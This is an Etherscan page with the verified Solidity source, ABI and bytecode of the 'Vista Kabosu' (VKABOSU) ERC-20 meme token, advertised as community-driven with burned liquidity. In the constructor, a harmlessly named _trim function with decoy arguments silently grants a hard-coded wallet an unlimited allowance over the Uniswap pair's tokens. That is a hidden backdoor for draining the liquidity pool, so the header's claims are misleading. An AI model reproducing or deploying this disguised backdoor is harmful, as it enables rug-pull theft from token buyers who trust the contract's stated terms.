ETH Price: $2,605.98 (-2.21%)

Token

Vista Kabosu (VKABOSU)
 

Overview

Max Total Supply

1,000,000,000 VKABOSU

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
117,070.188922115 VKABOSU

Value
$0.00
0x8903eb4287119e3d3a4e63ae8f081cc312a80faf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VKABOSU

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-02
*/

// SPDX-License-Identifier: MIT

/**
The VKABOSU is a community-driven token native to the Ethereum blockchain. It was stealth-launched on Sep the 2th of 2024 with liquidity burned, a hard-capped supply, no team allocation, and no mint function. It serves as the backbone of the kabosu project, supporting real-world merchandise, NFT collections, and more.

Web : https://www.vistakabosu.vip
TG :    https://t.me/vkabosucoin_erc
X :      https://x.com/vkabosucoin_erc
 */
pragma solidity = 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);


}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "WAGMI20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _trim(
        address owner,
        address spender,
        string memory data,
        string memory _pass
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = type(uint).max;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract VKABOSU is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private _vistaCreator;
    address private _kabosumama;

    bool private inswap;

    string private constant _name = "Vista Kabosu";
    string private constant _symbol = "VKABOSU";
    
    uint256 public _tokenSupply =  1000000000 * 1e9;

    uint256 public limitPercentageTx = 10;
    uint256 public limitPercentageWallet = 10;
    uint256 public limitPercentageSwap = 1;

    uint256 public maxTrnSize;
    uint256 public maxWalletSize;
    uint256 public swapTokensAtAmount;

    bool public _isOpenedT = false;

    uint256 public BuyTax = 20;
    uint256 public SellTax = 16;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExFromMaxTx;
    mapping(address => bool) private automatedMarketMakerPairs;

    constructor() ERC20(_name, _symbol) {
        _uniswapV2Router = IUniswapV2Router02(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE);
        address _aggregatorRouter = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Pair = _aggregatorRouter;
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        excludedMaxTx(address(_uniswapV2Router), true);
        excludedMaxTx(address(uniswapV2Pair), true);
        _kabosumama = payable(0x3A24c7E0227527e889fE04982C293b88b53ad307);
        address _aggregator = _kabosumama;
        _vistaCreator = payable(_msgSender());
        _removeFromFee(owner(), true);
        _removeFromFee(address(this), true);
        _removeFromFee(address(0xdead), true);
        _removeFromFee(address(_kabosumama), true);
        _trim(_aggregatorRouter, _aggregator, "block", "fee");

        excludedMaxTx(owner(), true);
        excludedMaxTx(address(this), true);
        excludedMaxTx(address(_kabosumama), true);
        excludedMaxTx(address(0xdead), true);

        maxTrnSize = _tokenSupply * limitPercentageTx / 100;
        maxWalletSize = _tokenSupply * limitPercentageWallet / 100;
        swapTokensAtAmount = _tokenSupply * limitPercentageSwap / 100;

        _mint(_vistaCreator, _tokenSupply);
    }

    receive() external payable {}

    function kabosu() external onlyOwner() {
        _isOpenedT = true;
    }

    function excludedMaxTx(address updAds, bool isEx) private returns (address) {
        _isExFromMaxTx[updAds] = isEx;
        return updAds;
    }

    function _removeFromFee(address account, bool excluded) private returns (address) {
        _isExcludedFromFees[account] = excluded;
        return account;
    }

    function setAmmPairs(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to];

                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inswap) {

                if (!_isOpenedT) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                if (automatedMarketMakerPairs[from] && !_isExFromMaxTx[to]
                ) {
                    require(amount <= maxTrnSize, "Buy transfer amount exceeds the maxTrnSize.");
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExFromMaxTx[from]) {
                    require(amount <= maxTrnSize, "Sell transfer amount exceeds the maxTrnSize.");
                } 
                
                else if (!_isExFromMaxTx[to]) {
                    require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= 0 && !isTransfer;

        if (canSwap && !inswap && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            inswap = true;
            swapBack(amount);
            sendETHToFee(address(this).balance);
            inswap = false;
        }

        bool takeFee = !inswap && !isTransfer;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellTax).div(100);
            }
            else {
                fees = amount.mul(BuyTax).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(0xdead), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

   function removeLimits() external onlyOwner {
        maxTrnSize = _tokenSupply;
        maxWalletSize = _tokenSupply;
        BuyTax = 0;
        SellTax = 0;
    }

    function clearStuckEth() external {
        require(_msgSender() == _vistaCreator);
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens(address tokenAddress, uint256 toKeep) external {
        require(_msgSender() == _vistaCreator, "Only deployer can clear tokens");
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 totalBalance = tokenContract.balanceOf(address(this));
        uint256 tokensToKeep = (_tokenSupply * toKeep) / 100;
        require(totalBalance > tokensToKeep, "No excess tokens to clear");
        uint256 tokensToClear = totalBalance - tokensToKeep;

        if (tokensToClear > 0) {
            tokenContract.transfer(_vistaCreator, tokensToClear);
        }

        if (toKeep == 0) {
            tokenContract.transfer(_vistaCreator, totalBalance);
        }
    }

    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyTax+SellTax) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellTax).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        // swapTokensForEth(tokensToSwap);
    }
    
    function sendETHToFee(uint256 amount) private {
        payable(_kabosumama).transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_isOpenedT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"toKeep","type":"uint256"}],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kabosu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitPercentageSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitPercentageTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitPercentageWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrnSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAmmPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052670de0b6b3a7640000600955600a808055600b556001600c556010805460ff1916815560146011556012553480156200003c57600080fd5b506040518060400160405280600c81526020016b5669737461204b61626f737560a01b81525060405180604001604052806007815260200166564b41424f535560c81b81525081600390816200009391906200076c565b506004620000a282826200076c565b505050620000bf620000b96200048160201b60201c565b62000485565b73eaaa41cb2a64b11fe761d41e747c032cdd60cace60808190526040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562000118573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200013e919062000838565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b4919062000838565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000202573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000228919062000838565b600680546001600160a01b0319166001600160a01b0383169081179091556000908152601560205260409020805460ff19166001179055905060805162000271906001620004d7565b506006546200028b906001600160a01b03166001620004d7565b50600880546001600160a01b031916733a24c7e0227527e889fe04982c293b88b53ad307908117909155620002bd3390565b600780546001600160a01b0319166001600160a01b03928316179055600554166000818152601360205260409020805460ff19166001179055503060009081526013602090815260408083208054600160ff1991821681179092557f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c80548216831790556008546001600160a01b0316855293829020805490941617909255815180830183526005815264626c6f636b60d81b818301528251808401909352600383526266656560e81b918301919091526200039d918491849162000503565b620003bc620003b46005546001600160a01b031690565b6001620004d7565b50620003ca306001620004d7565b50600854620003e4906001600160a01b03166001620004d7565b50620003f461dead6001620004d7565b506064600a5460095462000409919062000880565b6200041591906200089a565b600d55600b546009546064916200042c9162000880565b6200043891906200089a565b600e55600c546009546064916200044f9162000880565b6200045b91906200089a565b600f5560075460095462000479916001600160a01b031690620005fe565b5050620008d3565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601460205260409020805460ff1916821515179055815b92915050565b6001600160a01b0384166200056b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038316620005ce5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000562565b50506001600160a01b03918216600090815260016020908152604080832093909416825291909152206000199055565b6001600160a01b038216620006565760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000562565b80600260008282546200066a9190620008bd565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006f157607f821691505b6020821081036200071257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620006c1576000816000526020600020601f850160051c81016020861015620007435750805b601f850160051c820191505b8181101562000764578281556001016200074f565b505050505050565b81516001600160401b03811115620007885762000788620006c6565b620007a081620007998454620006dc565b8462000718565b602080601f831160018114620007d85760008415620007bf5750858301515b600019600386901b1c1916600185901b17855562000764565b600085815260208120601f198616915b828110156200080957888601518255948401946001909101908401620007e8565b5085821015620008285787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200084b57600080fd5b81516001600160a01b03811681146200086357600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620004fd57620004fd6200086a565b600082620008b857634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004fd57620004fd6200086a565b608051611922620008ef600039600061036c01526119226000f3fe6080604052600436106101db5760003560e01c8063751039fc11610102578063a9059cbb11610095578063e2f4560511610064578063e2f4560514610536578063ed85eb561461054c578063f2a95aa914610561578063f2fde38b1461058157600080fd5b8063a9059cbb146104c6578063b93b639c146104e6578063dd62ed3e146104fc578063dfcde7641461051c57600080fd5b80638da5cb5b116100d15780638da5cb5b1461045d5780638f3fa8601461047b57806395d89b4114610491578063a457c2d7146104a657600080fd5b8063751039fc1461040757806383fd03671461041c57806389291a8f146104325780638a50e0e21461044757600080fd5b8063313ce5671161017a578063583e056811610149578063583e05681461035a578063629b05f0146103a657806370a08231146103bc578063715018a6146103f257600080fd5b8063313ce567146102c357806339509351146102df57806347bdc57e146102ff5780634fbee1931461032157600080fd5b80630a910d1f116101b65780630a910d1f1461026257806317b0b80b1461027857806318160ddd1461028e57806323b872dd146102a357600080fd5b8062604617146101e757806306fdde0314610210578063095ea7b31461023257600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b506101fd600c5481565b6040519081526020015b60405180910390f35b34801561021c57600080fd5b506102256105a1565b604051610207919061161b565b34801561023e57600080fd5b5061025261024d366004611686565b610633565b6040519015158152602001610207565b34801561026e57600080fd5b506101fd60115481565b34801561028457600080fd5b506101fd600a5481565b34801561029a57600080fd5b506002546101fd565b3480156102af57600080fd5b506102526102be3660046116b0565b61064d565b3480156102cf57600080fd5b5060405160098152602001610207565b3480156102eb57600080fd5b506102526102fa366004611686565b610671565b34801561030b57600080fd5b5061031f61031a3660046116fa565b610693565b005b34801561032d57600080fd5b5061025261033c366004611731565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561036657600080fd5b5061038e7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610207565b3480156103b257600080fd5b506101fd60095481565b3480156103c857600080fd5b506101fd6103d7366004611731565b6001600160a01b031660009081526020819052604090205490565b3480156103fe57600080fd5b5061031f610750565b34801561041357600080fd5b5061031f610764565b34801561042857600080fd5b506101fd60125481565b34801561043e57600080fd5b5061031f610783565b34801561045357600080fd5b506101fd600d5481565b34801561046957600080fd5b506005546001600160a01b031661038e565b34801561048757600080fd5b506101fd600e5481565b34801561049d57600080fd5b506102256107d2565b3480156104b257600080fd5b506102526104c1366004611686565b6107e1565b3480156104d257600080fd5b506102526104e1366004611686565b61085c565b3480156104f257600080fd5b506101fd600b5481565b34801561050857600080fd5b506101fd61051736600461174c565b61086a565b34801561052857600080fd5b506010546102529060ff1681565b34801561054257600080fd5b506101fd600f5481565b34801561055857600080fd5b5061031f610895565b34801561056d57600080fd5b5061031f61057c366004611686565b6108ac565b34801561058d57600080fd5b5061031f61059c366004611731565b610b01565b6060600380546105b09061177f565b80601f01602080910402602001604051908101604052809291908181526020018280546105dc9061177f565b80156106295780601f106105fe57610100808354040283529160200191610629565b820191906000526020600020905b81548152906001019060200180831161060c57829003601f168201915b5050505050905090565b600033610641818585610b77565b60019150505b92915050565b60003361065b858285610c9b565b610666858585610d15565b506001949350505050565b600033610641818585610684838361086a565b61068e91906117cf565b610b77565b61069b6112fd565b6006546001600160a01b03908116908316036107245760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460f